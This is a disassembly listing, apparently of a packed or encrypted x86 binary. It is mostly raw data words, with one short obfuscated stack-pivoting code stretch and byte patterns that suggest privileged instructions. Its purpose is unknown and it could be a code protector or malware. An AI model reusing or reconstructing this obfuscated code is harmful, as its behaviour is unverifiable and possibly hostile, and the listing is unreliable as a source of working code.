		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E9A5C355h, 0Eh, 228B9500h, 14FF747Eh, 19A314A0h
		dd 0C28BF6ECh, 0F31718EBh, 9B46h, 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 60A3E38h
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 70B58BFFh, 81060A3Eh, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 74B53B00h, 0F060A3Eh
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 2FB5858Bh, 18860607h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 0C995FF08h, 50060723h, 244C010Fh,	0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 2FB5858Bh, 0C60607h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 6072FB5h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 6071C65h,	0
aLdLs		db 'D$',8,'',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 6585C700h, 6071Ch
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 1585C700h
		dd 1060A3Eh, 50000000h,	244C010Fh, 19858FFEh, 8D060A3Eh
		dd 0A3E1185h, 19BD8D06h, 89060A3Eh, 23E938h, 858D0000h
		dd 6070625h, 538408Bh, 9B46F317h, 3E118589h, 858D060Ah
		dd 6070625h, 893C408Bh,	0A3E1585h, 2E858D06h, 89060A3Eh
		dd 723C985h, 87E906h, 8B520000h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6000000h,	0C8D10630h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6300000h,	0C8D10628h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
		dd 0C4A8B08h, 13E9h, 2D3CAC00h,	0A840Fh, 98040000h, 0D8321334h
		dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh,	8C25A5Eh
		dd 0A1858D00h, 89060A40h, 721AD85h, 0C9858D06h,	89060A40h
		dd 708F985h, 0F1858D06h, 89060A40h, 7008185h, 8EB06h, 0
		dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 7199585h
		dd 8858D06h, 8B060A70h,	888B08h, 8B000010h, 4A8B660Ah
		dd 528D89FCh, 83060A41h, 721D5BDh, 840F0006h, 0Fh, 0FF006A60h
		dd 7320195h, 0C4E96106h, 66FFFFFFh, 0C1FC7289h,	896610CEh
		dd 0CD520272h, 85895A04h, 60A414Eh, 4152B58Bh, 0CEC1060Ah
		dd 72896610h, 52B58B02h, 66060A41h, 61FC7289h, 414E858Bh
		dd 8DC3060Ah, 7240995h,	0B5958906h, 8906072Fh, 7074995h
		dd 4985FF06h, 0C6060707h, 71C4D85h, 0D8685306h,	0FFFCB148h
		dd 701A9B5h, 13858D06h,	0FF06073Ah, 18589D0h, 8D060732h
		dd 0A3E4885h, 91858906h, 0E906072Ch, 51h, 24748B60h, 3C760324h
		dd 28247C8Bh, 0C281D68Bh, 0F8h,	64E8B66h, 83C9B70Fh, 840F00F9h
		dd 16h,	0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh,	0C12B144Ah
		dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh
		dd 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 5E4E9h, 5D8E900h
		dd 6D680000h, 0E9060A43h, 0FFFD3AEEh, 0A448368h, 3AE4E906h
		dd 3568FFFDh, 0E9060A45h, 0FFFD3ADAh, 0A45E768h, 3AD0E906h
		dd 3E68FFFDh, 0E9060A47h, 0FFFD3AC6h, 26A3E11h,	5BA3F5CFh
		dd 0E8F0A686h, 20481C75h, 7C84D02Dh, 2102A1DDh,	93F66B73h
		dd 4EA8A5CDh, 51DF018h,	0FC98375Fh, 789BB03h, 916BFB03h
		dd 0DCBFEBCh, 0CB7DC105h, 61B050Dh, 4EAD7D23h, 50DCBEBh
		dd 0B204F789h, 0F2050DCBh, 704B9D04h, 377F82F0h, 42269497h
		dd 0A019050Dh, 9F050D42h, 850D4223h, 0EE50A345h, 0AE850D42h
		dd 64CC686h, 4BED875Dh,	0D4256E8h, 7E2E1685h, 3440C8FDh
		dd 4218288Fh, 0BDC593EFh, 7A1046A0h, 58DE8AE7h,	28FA7C2Ch
		dd 5DA3793Ah, 92DC1A59h, 7B01C19Bh, 276948A1h, 56D57531h
		dd 8933C9D5h, 0A3948DB5h, 61891CF8h, 45892EBh, 0F8CF0000h
		dd 0AF8558A0h, 607C91F9h, 0D2332E36h, 8EEB668Eh, 0E763B2DAh
		dd 0ADB5E3FCh, 0E70F51B0h, 325A086Ah, 4991C7DFh, 7DC132D6h
		dd 3D030788h, 17E5DF55h, 566625A3h, 36886BF9h, 76050D8Bh
		dd 0FB46064Eh, 0C843B59Bh, 50D8B73h, 0B1926F29h, 8AE475E3h
		dd 5FB994DCh, 87470F09h, 0B1916943h, 0FCD831EBh, 5440A4AAh
		dd 31C51EE9h, 8EE47991h, 0E3C35ED8h, 0EF6ACC2Fh, 1A2A050Dh
		dd 0C13238D2h, 0C63A487Ah, 7C2A0419h, 0F2CF4AACh, 0C121B0A6h
		dd 0F6B9D9Bh, 4F0B00A5h, 0D7BD9565h, 0DF34158Fh, 5F05BA4Fh
		dd 76BE6281h, 4E04C480h, 0AFDB1409h, 39290h, 0B7867400h
		dd 0A30F5A60h, 0A2DE8444h, 0A7E9CB44h, 0B506F97Fh, 5D050DCBh
		dd 0FBDBB339h, 36D24D95h, 0DCB71C5h, 17013105h,	92FAA88Ah
		dd 0C731677Fh, 0D33B686Dh, 8472D83Eh, 26A3E15h,	0DCB69D1h
		dd 0B5694805h, 0DCBF44Ah, 448CB405h, 411270D2h,	0E907A88Bh
		dd 9FA70F34h, 15D7BF86h, 9EFF7503h, 342h, 729ACE21h, 8BD3859Fh
		dd 0D8207656h, 10782C05h, 0ACB4E0FDh, 0F1D2D18Dh, 0A3865BA3h
		dd 1E7895FDh, 0D52D2048h, 0CA8678Fh, 78F8B33h, 0E15BCB03h
		dd 181E44A2h, 5F359B9h,	83EBBD94h, 0DCB2A50h, 0FB259505h
		dd 0EE43050Dh, 165ED88Eh, 0D888EB76h, 11E2845Eh, 50DDBADh
		dd 6C48C5EDh, 0D8883C3Ah, 0DDBE75Bh, 0CEF8105h,	50DDBAAh
		dd 57EF48EAh, 17050DDBh, 0ED27E72Fh, 42E4BEE7h,	0DDB4DF1h
		dd 65250D05h, 0B63705DFh, 22947BF3h, 9B280BDBh,	0D0F3432h
		dd 1E3FD73Fh, 0A50991Dh, 67E9D903h, 32D2307Dh, 0A0EF664Eh
		dd 5C0315CBh, 29087E6h,	0B0970000h, 774D80E8h, 2804D921h
		dd 9AFB167Eh, 56B3AEB6h, 1F5BFA02h, 95FDAB84h, 2F371978h
		dd 7A82D032h, 0B1D98FE7h, 45F97A1Eh, 503078Eh, 44A2279Dh
		dd 59B9181Eh, 0C09205F3h, 6E3412ECh, 6BD7BC06h,	345EAFDAh
		dd 0BA000002h, 191F49A7h, 0BCC7BD6Dh, 50DCBFEh,	4D95C3DFh
		dd 76E0B690h, 5FD98FEBh, 46B0E6C2h, 0A197F9DBh,	0CB328477h
		dd 4272050Dh, 4F747898h, 54268ED4h, 0B399F97Ah,	0BA99638Bh
		dd 41AFDA6Bh, 58h, 0B47F9587h, 0DCBF34Bh, 0A4F2D205h, 1AB0F8C8h
		dd 34E8D019h, 0FED5300Fh, 0B0F8ACAAh, 15D8F459h, 0F38A8003h
		dd 1DEh, 0DE266245h, 177F2103h,	0A4CC9AFAh, 0FC0448A9h
		dd 8500461h, 15766DE9h,	0CF2A274Fh, 829C7199h, 71518CD4h
		dd 0A84CC32Bh, 78EF74Fh, 552FB703h, 0B78040A2h,	50DCB0Fh
		dd 393F674Fh, 0D264D78Dh, 92050DCBh, 0F64BEDA2h, 53391992h
		dd 0A979A1E5h, 0CBA62013h, 3BD6050Dh, 0D88C8ADEh, 0DF3BA690h
		dd 96EC6189h, 20683C15h, 0EEBA976Ah, 8A6C3C68h,	6E762538h
		dd 243F12B4h, 0CB3F8774h, 3C1E050Dh, 0FAAA9A56h, 875D0B67h
		dd 0CBAC12EDh, 0C4EC050Dh, 3111CC04h, 156CED6Bh, 6DEBB196h
		dd 50C690ECh, 5CA4EC14h, 60D621C3h, 20050DCBh, 126FEEC5h
		dd 6C94D046h, 0D8B4BAEAh, 60E89154h, 54C5337Bh,	3CC62E78h
		dd 138E88DBh, 50A96335h, 983E2076h, 95D30D69h, 0A754BC6Ch
		dd 50DF71Bh, 6A4BC70Dh,	0DB24FE26h, 0F34F566h, 0F6441E26h
		dd 0F6AEBDDBh, 0F1938FCBh, 0BCA4BEA0h, 0D435CF9Fh, 8F42AAFCh
		dd 0A375E3B5h, 33256B4Eh, 61C0ACB5h, 0E42C4933h, 0E669CD2Eh
		dd 1929030Ah, 0CC9AF449h, 3B837C16h, 7B030AE6h,	7B9D9B4Bh
		dd 0E6E056A1h, 90A0030Ah, 42166DF0h, 0FB6B45D4h, 0AC4B54C6h
		dd 0DD5B8305h, 82581D4Bh, 336E64B1h, 0B5AC9409h, 91C5EEAh
		dd 87D9B4AAh, 9C000000h, 5AB7DF89h, 0DC0287Eh, 0C01D6533h
		dd 0B855BDE3h, 50E1095Fh, 0E4B08D16h, 3E62419Ch, 89DF3BD6h
		dd 0C096EC61h, 0F24DE7B8h, 3078C4Ch, 0A22E840Ch, 0B9181E44h
		dd 9205F359h, 0D286E37Eh, 4BDED632h, 287E58B1h,	41F5662Eh
		dd 1050DCBh, 0B68C9131h, 553298E0h, 0DCAFDA6Bh,	17h, 0CBFFBC18h
		dd 0F8DE050Dh, 126B4A92h, 0B1000000h, 21177958h, 0BC3FA565h
		dd 50DCBFEh, 4991C7DFh,	3D749AF3h, 2, 4BA279FBh, 58BE1B1Dh
		dd 0B99504F2h, 95EC6DEBh, 0EBC455C3h, 0FDDEBBBDh, 0D330A197h
		dd 2E0E8B8Dh, 163FE78h,	6832D95Fh, 1592h, 89242C89h, 4C581E5h
		dd 83000000h, 2C8704EDh, 0C6685C24h, 89000059h,	0F2682414h
		dd 89000071h, 0B3682434h, 5A060A42h, 24348B54h,	4C481h
		dd 0EC830000h, 24148904h, 8B08468Fh
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54311E
; ---------------------------------------------------------------------------
		db 0DFh, 0B8h, 0EAh
		dd 3060A47h, 0EBD18BC5h, 20h, 7	dup(0)
		dd 5DEE900h, 0D2E90000h, 68000005h, 60A4A2Ch, 0FD34E1E9h
		dd 4B1468FFh, 0D7E9060Ah, 68FFFD34h, 60A4CF1h, 0FD34CDE9h
		dd 4D7368FFh, 0C3E9060Ah, 14FFFD34h, 0D20F5731h, 8558A0F6h
		dd 7895FDABh, 302D351Bh, 0D87981D7h, 7C28059Eh,	0B69AF914h
		dd 157B3AEh, 580E64F9h,	7AC59F30h, 30783C4h, 0A2A61C84h
		dd 0A9221442h, 850DCB11h, 888ED030h, 0F1672D09h, 33787C66h
		dd 0F65953B7h, 2FDA6E91h, 3118h, 0FFBCDC00h, 0E9050DCBh
		dd 17E0BAFBh, 0F33832Bh, 0E2A88E6Bh, 0D98FE574h, 19B36991h
		dd 783981Eh, 4C2ED803h,	2DB3D172h, 4C84448Ch, 226Dh, 0FEBC9700h
		dd 98050DCBh, 0CA29A081h, 0ACD49086h, 633056FCh, 0DE3A17A9h
		dd 675BD888h, 270F3383h, 0A27DF71Fh, 0A9221442h, 850DCB12h
		dd 0A88E6335h, 0ADBA324h, 2068590Bh, 0C383D12Dh, 435D2D87h
		dd 5CB1E7C0h, 86EE1640h, 92481B7Ch, 0ED9914ACh,	4FA8B719h
		dd 7AF237F7h, 87478FB7h, 0B6815BFDh, 7AF23700h,	53D07040h
		dd 7AF207EFh, 207652AFh, 56A47EF8h, 9173247Ah, 3B04DE18h
		dd 7AF23E83h, 0CE53F3C3h, 56E8A2E8h, 0F23E51E5h, 6121117Ah
		dd 0D085C369h, 534393Ah, 6C5470CBh, 27C971EAh, 8D817CF5h
		dd 53632027h, 8C2A29D3h, 2E000000h, 8EEE43E5h, 0CBE35BD8h
		dd 93A3050Dh, 6A0B59F3h, 5F101EB0h, 5E3026C1h, 67AFF5D6h
		dd 2D1944A7h, 10ED0F33h, 6C266E30h, 87EFB58Dh, 91F36C4Ah
		dd 0BED541CFh, 982AB748h, 7783F950h, 3B310312h,	38BA2h
		dd 0E1A78E00h, 3A6C4499h, 77213FD2h, 0CF95F26Fh, 1B49AAA7h
		dd 0BB2822F3h, 6FE20A5Eh, 213C4414h, 9A779FC5h,	118ED6BCh
		dd 81328477h, 0E2720307h, 2817E508h, 8BC0E185h,	40B0BDA3h
		dd 0A195965h, 3463B5Ah,	0A2410000h, 1B58642h, 41050DCBh
		dd 0F9934971h, 0CB62D427h, 1222050Dh, 0DCB9D21h, 6BD5DD05h
		dd 9490AC09h, 7DFBABEBh, 0DBB3882h, 0BB845E05h,	50DBB03h
		dd 50D37343h, 50DBB6Ah,	0DBBE255h, 0BB61D905h, 2A07050Dh
		dd 0D79F99CFh, 0BB863437h, 1B9050Dh, 67450DBBh,	2BFBA98Ah
		dd 18B2E3E1h, 0EB53AC46h, 0ABC50DBBh, 2D68CB9Bh, 0D9CF33A5h
		dd 14E7233Ch, 0C3044DA2h, 62AAD2E2h, 0D1DC22F4h, 0FDD84492h
		dd 177DD777h, 50DB63DCh, 0AB9BC304h, 0DD4EA963h, 0BDC93D53h
		dd 64B29C75h, 0CA40490Eh, 2A3B3h, 95FB600h, 42146CE1h
		dd 9FC9273Ah, 0D7BD9A77h, 2371528Fh, 0A3403ADBh, 17CA1246h
		dd 0C9046C3Ch, 825FA7EDh, 3996FEA4h, 801A9C9Fh,	0CA5A0307h
		dd 1E44A270h, 1B588E18h, 83A0F641h, 50600F33h, 0ADFBD508h
		dd 0FAAC8845h, 3A00DA7Ch, 0EB3EC87Bh, 53EB68BBh, 130307B1h
		dd 84CA2E23h, 1832D292h, 86383BCAh, 0A70307B1h,	5F671B4Dh
		dd 849C7D17h, 602064D2h, 0F97D59DAh, 0E5CD0939h, 0F9DC5E9Dh
		dd 9CCA050Dh, 0F954EA55h, 2C14050Dh, 0F5CD2EE4h, 450F33B1h
		dd 6C4AA77Dh, 0F644DE26h, 4AEB5B22h, 6B8BB4Ch, 460307BAh
		dd 8B96367Eh, 952FE5ABh, 7BA14AAh, 0BC6C5403h, 0BA49C1BAh
		dd 697F0307h, 5ABB964Ch, 844400F6h, 0B18224FEh,	307BA0Dh
		dd 8EE8654Dh, 1B2B08D8h, 0AB0939F2h, 0FC246A4Eh, 9EA8C26h
		dd 50DF2B5h, 1DCDF5h, 0F9147C22h, 1319B399h, 3791A6D8h
		dd 0DE5808E5h, 0D82ED5Dh, 0E88DDB05h, 279F9832h, 67050D82h
		dd 7EF8AE8Ah, 845E0E36h, 33CA9BBBh, 0ECCE2B0Fh,	0AFA9360h
		dd 135BA0F8h, 0FAD831EBh, 263FE94h, 0A2ACD85Eh,	0CC2F3E76h
		dd 9BF3933Eh, 4CCF2801h, 7BFD2573h, 0ABF1D64Bh,	0D429F9ADh
		dd 1FF2A8FEh, 0B4B25206h, 0F5AFF412h, 3987300Ah, 9AFB5609h
		dd 5A6A16B6h, 448A980h,	6B9BB21Ah, 0D676C7E9h, 49AB8650h
		dd 56E44707h, 1E050D05h, 0E8AFB23Ah, 0EAAFDB38h, 0EB6D3B17h
		dd 1614EBBBh, 0F0000000h, 959DD5Eh, 2919050Dh, 0FEBC8379h
		dd 23050DECh, 7, 0F1FEBC59h, 95B8050Dh,	0CA6C267Fh, 9E4E1A77h
		dd 3383F99Dh, 0F09390Fh, 5CF6AFA5h, 3ED6B6E3h, 13EC4609h
		dd 500A8ABh, 0B1B2BC99h, 6D01193Eh, 54041D45h, 0D2090F40h
		dd 0C6015Ch, 7C530000h,	2B09C42Ch, 0E4C01D65h, 5EB7AAB2h
		dd 126FE20Ah, 631F3E46h, 29316740h, 638BDD34h, 0BEC68CEEh
		dd 0F51D43A3h, 0F9BDBE5Ah, 0B9030787h, 7F955329h, 57C197F3h
		dd 0CF3DD71Fh, 0E7534BCEh, 0A90DEEA9h, 0E9050DBBh, 0A0BC91D9h
		dd 0B38C56F6h, 0F33F3EBh, 0FB1D1B2Bh, 0F360D621h, 0D6200307h
		dd 20F2FFFFh, 2BFB23F5h, 18B2E3E1h, 0C68AEB46h,	9F842506h
		dd 1C24093Eh, 0F905D05h, 459DF09h, 44h,	42AAFED1h, 9BE3B58Fh
		dd 28306646h, 6088DC35h, 0BCC490EDh, 0E1C2E19Dh, 53B6ABB3h
		dd 0E68E50Dh, 0C5DD3058h, 3CD8779Fh, 7867BC3h, 0D1AB3B03h
		dd 0F5Eh, 0E67FA00h, 72E4B48Fh,	580C0A32h, 0FF79D288h
		dd 1B1D4BA2h, 4F258BEh,	6DEBB995h, 55C395ECh, 0BBBDEBC4h
		dd 0A197FDDEh, 8B8DD330h, 0FE782E0Eh, 0D95F0163h, 0E2895232h
		dd 4C281h, 0EA830000h, 24148704h, 2414895Ch, 60F668h, 240C8900h
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 50241489h, 4A4E73B8h
		dd 43BD5537h, 89CEBFFAh, 0C1015DE9h, 3B626858h,	24890000h
		dd 24048324h, 0EC815A04h, 4, 8F240C89h,	148B0842h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 592434FFh,	0E904C483h
		dd 0FFFD2F22h, 52488483h, 0A8ABB0DBh, 4DDCB806h, 0C503060Ah
		dd 6E8C88Bh, 0B0000000h, 21431E1h, 5EBFB3AEh, 0C681FE8Ah
		dd 72C3h, 6E956h, 0AC270000h, 568778FDh, 685Ah,	8E90000h
		dd 4E000000h, 0D4C6CEF5h, 5FF82122h, 7E9h, 0A995CE00h
		dd 683A4436h, 0FC3734FFh, 3CE98159h, 0B8102CB6h, 714D1665h
		dd 0F19CE981h, 7FB80F38h, 811E1B8Ch, 4B27AAE9h,	0A4B86037h
		dd 57049E71h, 58D38B66h, 0CE805161h, 3E048F0Dh,	2BCDC281h
		dd 0AE95E90h, 0CF000000h, 0AEA7ACF1h, 31EF4114h, 3EF83BAh
		dd 0AFF08166h, 0F574F32h, 685h,	800F00h, 5B000000h, 8E4CFF81h
		dd 850FFFFFh, 41h, 27820Fh, 7E80000h, 75000000h, 556B6289h
		dd 14E86A5Ch, 22000000h, 0DCFF6CFAh, 19CDD826h,	859448E6h
		dd 0A1962311h, 5A86F476h, 38E958h, 6CA60000h, 0D24DCA0Bh
		dd 85AB8BDCh, 9C487E8Eh, 0BE860F6h, 53000000h, 0CE17DDA0h
		dd 0C0DCC150h, 5BF522F8h, 61D9B70Fh, 0FFFF37E9h, 0BA4D22FFh
		dd 25B2D835h, 0C27F094Ah, 0D9E971ECh, 20000000h, 2C0FBE1Dh
		dd 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h,	52C55DD5h
		dd 0A4D676D3h, 4100FC94h, 50C1AEC4h, 325277CBh,	9CACACh
		dd 0F7F691B8h, 9382CD64h, 38h, 3Ch, 40h, 94h, 5, 1, 0A28h
		dd 2, 20h dup(0)
		dd 57020235h, 1F37E9h, 52926800h, 0BE9060Ah, 68FFFD2Dh
		dd 60A5382h, 0FD2D01E9h, 547068FFh, 0F7E9060Ah,	68FFFD2Ch
		dd 60A551Eh, 0FD2CEDE9h, 560E68FFh, 0E3E9060Ah,	68FFFD2Ch
		dd 60A56E3h, 0FD2CD9E9h, 579468FFh, 0CFE9060Ah,	68FFFD2Ch
		dd 60A5848h, 0FD2CC5E9h, 5C0D68FFh, 0BBE9060Ah,	68FFFD2Ch
		dd 60A5C71h, 0FD2CB1E9h, 5D6D68FFh, 0A7E9060Ah,	68FFFD2Ch
		dd 60A608Eh, 0FD2C9DE9h, 640368FFh, 93E9060Ah, 68FFFD2Ch
		dd 60A6744h, 0FD2C89E9h, 688D68FFh, 7FE9060Ah, 68FFFD2Ch
		dd 60A690Ah, 0FD2C75E9h, 695D68FFh, 6BE9060Ah, 68FFFD2Ch
		dd 60A69D0h, 0FD2C61E9h, 6ACE68FFh, 57E9060Ah, 68FFFD2Ch
		dd 60A6C1Dh, 0FD2C4DE9h, 6CE668FFh, 43E9060Ah, 94FFFD2Ch
		dd 528FD7B1h, 5D82076h,	0F8157D2Bh, 0B0ADB59Bh,	58F90157h
		dd 0FCA8851Eh, 361A7994h, 81D7332Eh, 0D88EE479h, 0FA451FB0h
		dd 3079A44h, 0A2269C04h, 0FE181E44h, 0D1411870h, 5E0E3335h
		dd 55BDE3C3h, 5E0462FFh, 56FCACD8h, 4EA96330h, 0F3440EDh
		dd 0B006F18Bh, 0F0030A22h, 545C00C0h, 22D169E2h, 97F0030Ah
		dd 2CF58507h, 0DF07CE38h, 0C99FF859h, 268ED44Fh, 0BE1E581h
		dd 0E1FC3F04h, 34C6B5h,	0CF220000h, 7BE1A1F7h, 6C267F95h
		dd 34C1DA93h, 0C0A3A0Fh, 4E1A77CAh, 0C11D9D9Eh,	7155030Ah
		dd 3102A47Bh, 30AC18Dh,	0AF25E5CDh, 0B5E174E8h,	0E2AFh
		dd 4E5B500h, 56AB7B2Dh,	0AD2C2A70h, 0B44E0450h,	0CB9D2112h
		dd 0D5DD050Dh, 0DCBD066h, 0BEA09005h, 98F8B501h, 2107C7D5h
		dd 0A0C52B0h, 99E1B78Fh, 0DFE275Ah, 0FEA48205h,	351B7B96h
		dd 8A12919Fh, 2B7F44EBh, 3D2BFD7Bh, 0A69151ADh,	50D3510h
		dd 3E386050h, 0AB944E76h, 0F34614Ah, 30647DDCh,	22DE8EC6h
		dd 0F950CA12h, 5305639Ah, 0A979A1E5h, 9A306563h, 35C23799h
		dd 0E9A39309h, 93DEE957h, 0C4C7D9B7h, 38CC37Bh,	8BB38305h
		dd 0F96546DBh, 0DF62E0ABh, 345C8459h, 0B1A8FCD9h, 90E69A1h
		dd 5C90ED63h, 3000001Ch, 0EE638BDDh, 0A1BCC48Ah, 14C91147h
		dd 0CC01693Fh, 0BC5DA5F3h, 90C421C2h, 0EABE9548h, 25734F82h
		dd 7C2200DDh, 1E19BB14h, 3079998h, 0A2F248D8h, 0BFE5C641h
		dd 94F26F77h, 95CCA6CEh, 936C267Fh, 0F34C1DAh, 70243D1Ch
		dd 621ECE86h, 0CC32E452h, 0CD93950Eh, 3D6B47A0h, 64D655F5h
		dd 2C030A34h, 0F65DC428h, 0F8B5E269h, 95A11072h, 0AF918ACEh
		dd 0E6A2E1DFh, 0B689595Dh, 0BEh, 0CB44A2B2h, 48A8A5EBh
		dd 2C541006h, 0DB63DC76h, 9B050DCBh, 9C7DFBABh,	0E863D583h
		dd 50DC795h, 0DC62DD77h, 9C050DCFh, 969F494h, 0C0263B43h
		dd 0DC0A9C9Ah, 126CCD87h, 0A5EDB391h, 13054BA8h, 0EE9B353h
		dd 0F349BF1h, 0B3697141h, 58D5C54Dh, 24E41F6Bh,	0E1BBF8EEh
		dd 359CC516h, 673D0509h, 93FBA98Ah, 0DE371D7Eh,	90ED24Ah
		dd 6C3B52C8h, 2000001Bh, 9E739BCDh, 518CD4BAh, 4D92177h
		dd 0FC11792Fh, 8CADB5E3h, 0A0F4D1D2h, 0FAAE8558h, 35637F92h
		dd 8CD2302Dh, 2E09AB64h, 3079888h, 0E5E258C8h, 0E84EA943h
		dd 0A8050DCBh, 0CB239B98h, 5363050Dh, 74DAEB3h,	5E0462FFh
		dd 17E5BC36h, 0ADC12148h, 3167434Ah, 87478FC7h,	0C1235CBAh
		dd 37E1579Fh, 0AAACFADAh, 0FFD72AFAh, 2586383Bh, 0FEC6050Dh
		dd 2563DB24h, 1323050Dh, 0FED831EBh, 0B690F8A8h, 3989DF5Eh
		dd 0C68E88DCh, 0CF22C49Eh, 0FFB7A1F7h, 193CC2Fh, 53630F34h
		dd 0A87BCB06h, 779DBFB8h, 6E8B742Eh, 0DEB5BD55h, 80C660D6h
		dd 0C22039D3h, 56892D0Eh, 0F9C9B983h, 5F0F47B1h, 0C37BA85h
		dd 6353B3BAh, 260E43A9h, 5C4207F3h, 0FD5CF68Ch,	5A0C64E7h
		dd 0F660A8DCh, 3313EEBEh, 0EAC8056Dh, 47C1ADA4h, 0FD734E93h
		dd 1A7EE0h, 0ADFBD200h,	0E6A88845h, 3365439Eh, 8BD1362Bh
		dd 0C78DEE63h, 0FFE49EBFh, 0B3AEB6E2h, 65F80050h, 0DE335B09h
		dd 0D54A92F8h, 9F7EC033h, 563E0307h, 1E44A2DCh,	1B588E18h
		dd 1D41AF41h, 0FF3D8022h, 4856626h, 640F348Dh, 0CAB8865Ch
		dd 57144FF6h, 8FB79DFEh, 8B91B7DFh, 0BC192F0h, 33B46F28h
		dd 42979F09h, 5AEA888Fh, 0FFA4A24Dh, 0D039DA25h, 0B989C885h
		dd 48EE49E3h, 69C4BBD3h, 98A84408h, 8EC46EC8h, 493C3FD5h
		dd 2DCE8289h, 94F24F05h, 0DECA6CEh, 2D8EA737h, 36DA1963h
		dd 8C5C080Eh, 120B51B1h, 416B1122h, 0D0136AE0h,	0BC000019h
		dd 7A97FFA9h, 2D20481Eh, 0E07D85D3h, 58B5DD83h,	30C1297Fh
		dd 450AD36h, 5E0261FCh,	0A9FFDB36h, 0E0B68C41h,	926D0798h
		dd 3079E2Ch, 0E50EE46Ch, 48AE2D04h, 28501402h, 5BA6662Eh
		dd 0A640D37Bh, 0ADABF9DAh, 53CD77F9h, 3ADC5A82h, 704CCF27h
		dd 0E42EFE26h, 1C1FB5EEh, 0F34308Bh, 59F31B2Bh,	0ECBCE2C0h
		dd 0C81E55DAh, 4906F1ABh, 0B9093317h, 0B586425Ch, 50D2F01h
		dd 0CF497141h, 0CC72CD87h, 8C050D2Fh, 4BA67CA4h, 6D683868h
		dd 55F7BAEEh, 79F27898h, 0A6A270CAh, 3D2BE1A1h,	0B051A278h
		dd 939C04h, 33949A30h, 0E0ACFAD9h, 0A771F797h, 8D8C320Dh
		dd 0E4CC9FA2h, 4A6CC77Ah, 0F292FFBDh, 0A3BC0A58h, 2417CDF5h
		dd 959B2DA1h, 84CA28C5h, 4BAB865Ch, 260FD05h, 0BB0EC29Ah
		dd 0FBD82E46h, 2C256D95h, 6C749C56h, 0E06F0E04h, 0AC000018h
		dd 6AE70F59h, 0DD30580Eh, 904D95C3h, 4885EDB3h,	0D1396Fh
		dd 14405D46h, 6E3211CCh, 0B9EFCB06h, 0F0A6BC51h, 0A29D37E8h
		dd 3079D1Ch, 0A27EF45Ch, 8E181E44h, 0F6411B58h,	0F34F54Dh
		dd 7BADB5FDh, 0B8A58BA0h, 92966D74h, 0BC76C82Bh, 0E36030Ah
		dd 8B330CC6h, 0CB030ABCh, 0E3E12BFBh, 271218B2h, 5B7EFA7Eh
		dd 0E84B11B1h, 933F8AFh, 4FBD575Fh, 0C1693C90h,	97F292CCh
		dd 0CB65F854h, 67D06A78h, 0F84F0EDFh, 3361429Fh, 0C45981C5h
		dd 21EBBBEDh, 5FD87223h, 0F2760CBAh, 74F7CD2Ch,	4101491Fh
		dd 8234079Dh, 0C2FE480Fh, 0FA4CCAF2h, 221DB7ECh, 0F47155AFh
		dd 8F21FBCBh, 150351B2h, 0B3E5FC51h, 62280E13h,	0B9EFC71Ah
		dd 0DA08E4A0h, 0F18C820Bh, 180Bh, 0D23A6E41h, 6B73253Fh
		dd 0B8C096F6h, 0F0184CA5h, 0C54001Dh, 117271EDh, 0C3263B43h
		dd 0BE98759Dh, 754D80E8h, 0AC48C72Fh, 79DEB53h,	413BAB03h
